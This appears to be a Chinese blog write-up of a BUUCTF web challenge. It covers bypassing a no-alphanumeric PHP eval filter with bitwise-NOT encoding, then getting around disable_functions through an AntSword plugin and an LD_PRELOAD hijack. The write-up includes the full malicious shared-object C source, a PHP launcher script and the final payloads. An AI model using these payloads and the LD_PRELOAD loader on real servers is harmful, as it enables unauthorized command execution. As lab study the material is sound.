前言

前几天在buu做了这道题,感觉挺好就记录一下

正文

进去可以直接看到php代码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

大概意思就是接收个code参数长度不能大于40不能出现字母数字

但是可以两次取反使命令执行

<?php
$d=urlencode(~'phpinfo');
echo $d;
?>

得到%8F%97%8F%96%91%99%90

payload

?code=(~%8F%97%8F%96%91%99%90)();

命令正确执行

然后直接构造system执行系统函数,发现无法执行,回来phpinfo看了一下,禁用了很多函数

发现所有能执行系统命令的函数都被执行了

查了一圈之后发现有两种方法可以RCE的

第一种

这种比较简单,构造一句话然后连蚁剑

<?php
$d=urlencode(~'assert');
echo $d;
echo '<br>';
$d=urlencode(~'(eval($_POST[a]))');
echo $d;
?>

得到payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

测试到命令可以成功执行

用蚁剑连接(不知道我的蚁剑为什么GET参数连不上POST才能连上)

发现根目录有flag和readflag,应该是要运行readflag才能得到flag

现在用蚁剑上的一个插件绕过disable_functions,插件市场有

选择php7-GC-UAF模式就可以

第二种

第二种有点复杂,也是这次想详细记录的

主要思路就是这样:利用LD_PRELOAD这个环境变量指定so共享文件从而劫持系统函数

先来了解一下LD_PRELOAD这个环境变量,由这个变量指向的文件会最先被调用,然后php函数在解析的过程会执行一些系统函数,如果LD_PRELOAD指向的so文件注册了同名的函数但是是恶意函数,由于LD_PRELOAD的优先度最高所以对应的恶意函数被执行,换一句话说就是php本来想执行正常的系统函数的结果被LD_PRELOAD对应的那个文件里的同名函数劫持了,导致执行的是指向的so文件里面的恶意函数

然后LD_PRELOAD这个环境变量可以由putenv()设置,phpinfo里面又没有禁用这个函数,所以导致了RCE

然后问题回到到底该劫持哪个函数,因为难以知道php函数解析的时候会调用哪个函数所以不妨转变一下行为,直接劫持启动进程这一行为,而gcc下面有个c语言修饰符__attribute__((constructor))就能在进程启动的时候执行,然而问题来了,我们在劫持启动进程这个行为的时候又启动了新的进程,导致无限循环,所以我们要尽快停止劫持也就是删除LD_PRELOAD这个环境变量,对应的函数是unsetenv(“LD_PRELOAD”),也就是在劫持成功的时候首先要删除LD_PRELOAD环境变量,还有就是,这样的方法在绝大部分系统中有效但是在centos中无效,因为unsetenv()被centos hook了然后内部也有其他进程在执行,所以unsetenv()在centos中无效,所以要对所有系统有效的话还要换另外一种方式,看一下unsetunv()这个函数的原理,这个函数其实是用全局变量extern char** environ对参数进行置零(也就是’\0′)的,所以这个我们直接用这个全局变量对LD_PRELOAD进行置零就可以

整理一下思路,我们的步骤可以整理为:

1.制作出含恶意代码的so文件并且传上去

2.执行某个php函数使得恶意代码被触发执行

下面来制作这个恶意so文件

文件名bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

编译c(x64架构)
    `gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so`
    (x86架构)
    `gcc -shared -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x86.so`

为了方便RCE我们把恶意代码写在外面,存进一个EVIL_COMLINE的环境变量,然后在劫持函数__attribute__ ((__constructor__))里面每次都从EVIL_CMDLINE读取存储的恶意代码。

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

这个php文件用来把恶意代码写进EVIL_CMDLINE然后接收回显到某个文件并输出,mail()函数用来产生新进程从而触发恶意命令执行

然后别的wp说了在/var/tmp里面有上传权限(具体怎么看的下次知道了再补充),上传bypass_disablefunc.php和bypass_disablefunc_x64.so(系统为x86_64架构)

然后提供三个参数

cmd:执行系统命令

outpath:接收回显的文件所在绝对路径

sopath:so文件所在绝对路径

所以最后payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%B8%BA%AB%A4%9E%A2%D6%D6);&a=include(%27/var/tmp/bypass_disablefunc.php%27);&cmd=/readflag&outpath=/var/tmp/tempfile&sopath=/var/tmp/bypass_disablefunc_x64.so

最后成功RCE

结尾

确实学到挺多的

参考链接:

https://evoa.me/archives/16/

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://www.cnblogs.com/yesec/p/12483631.html

https://blog.csdn.net/mochu7777777/article/details/105136633/

https://www.freebuf.com/articles/web/192052.html

https://www.anquanke.com/post/id/175403

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...